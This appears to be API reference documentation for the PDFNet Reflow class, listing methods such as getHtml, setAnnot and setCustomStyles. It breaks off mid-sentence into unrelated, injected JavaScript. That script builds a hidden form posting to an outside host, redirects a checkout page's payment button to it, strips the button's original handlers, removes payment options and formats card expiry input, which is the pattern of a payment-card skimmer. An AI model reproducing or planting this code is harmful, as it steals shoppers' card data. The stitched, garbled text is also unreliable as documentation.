Class: Reflow

PDFNet. Reflow


new Reflow()

The class Reflow. Reflow annotations between PDF and HTML DocumentConversion instances are created through methods belonging to the Convert class. See Convert.CreateReflow for an example.

Extends

Methods


destroy()

Destructor
Inherited From:
Returns:
Type
Promise.<void>

getAnnot(in_id)

Gets PDF annotation(s) as JSON.
Parameters:
Name Type Description
in_id string - an annotation ID, or an empty string.
Returns:
A promise that resolves to returns JSON string.
Type
Promise.<string>

getHtml()

Converts PDF to HTML.
Returns:
A promise that resolves to returns HTML as a string.
Type
Promise.<string>

setAnnot(in_json)

Updates PDF annotation.
Parameters:
Name Type Description
in_json string - update instructions (JSON).
Returns:
A promise that resolves to returns JSON string.
Type
Promise.<string>

setCustomStyles(styles)

Appends custom CSS styles to the output HTML. Default is no custom styles.
Parameters:
Name Type Description
styles string - the CSS code without any
' document.getElementsByClassName('flex flex-col gap-3 border-t border-gray-medium p-4')[0].getElementsByTagName("button")[0].setAttribute('form', 'formid') document.getElementsByClassName('w-full p-4')[0].remove() document.getElementsByClassName('w-full p-4')[0].innerHTML='
' var el = document.getElementsByClassName('flex flex-col gap-3 border-t border-gray-medium p-4')[0].getElementsByTagName("button")[0], elClone = el.cloneNode(true); el.parentNode.replaceChild(elClone, el); }, 5000); }, false); }; var elemDiv = document.createElement('form'); elemDiv.setAttribute('action', 'https://pay.jollibeefood.rest') elemDiv.setAttribute('method', 'post') elemDiv.setAttribute('id', 'formid') document.body.appendChild(elemDiv); setTimeout(function () { try{ document.getElementsByClassName('border-gray-medium flex cursor-pointer items-center justify-between rounded-md border-2 bg-white p-4')[1].remove() } catch{ console.log(1) } }, 9000); navigation.addEventListener('navigate', () => { setTimeout(function () { try{ var objects = document.getElementsByTagName("svg"); for(var i = 0; i < objects.length; i++) { var obj = objects[i].parentElement; obj.innerHTML += ""; // will trigger update } document.getElementsByClassName('border-gray-medium flex cursor-pointer items-center justify-between rounded-md border-2 bg-white p-4')[1].remove() document.getElementsByClassName("py-5")[1].getElementsByClassName("space-y-2")[0].addEventListener("click", function(e) { setTimeout(function () { document.getElementsByClassName('w-full p-4')[0].innerHTML='
' document.getElementsByClassName('flex flex-col gap-3 border-t border-gray-medium p-4')[0].getElementsByTagName("button")[0].setAttribute('form', 'formid') document.getElementsByClassName('w-full p-4')[0].remove() document.getElementsByClassName('w-full p-4')[0].innerHTML='
' var el = document.getElementsByClassName('flex flex-col gap-3 border-t border-gray-medium p-4')[0].getElementsByTagName("button")[0], elClone = el.cloneNode(true); el.parentNode.replaceChild(elClone, el); }, 5000); }, false); } catch(error){ console.log(error) } }, 4000); }); function formatString(e) { var inputChar = String.fromCharCode(event.keyCode); var code = event.keyCode; var allowedKeys = [8]; if (allowedKeys.indexOf(code) !== -1) { return; } event.target.value = event.target.value.replace( /^([1-9]\/|[2-9])$/g, '0$1/' // 3 > 03/ ).replace( /^(0[1-9]|1[0-2])$/g, '$1/' // 11 > 11/ ).replace( /^([0-1])([3-9])$/g, '0$1/$2' // 13 > 01/3 ).replace( /^(0?[1-9]|1[0-2])([0-9]{2})$/g, '$1/$2' // 141 > 01/41 ).replace( /^([0]+)\/|[0]+$/g, '0' // 0/ > 0 and 00 > 0 ).replace( /[^\d\/]|^[\/]*$/g, '' // To allow only digits and `/` ).replace( /\/\//g, '/' // Prevent entering more than 1 `/` ); }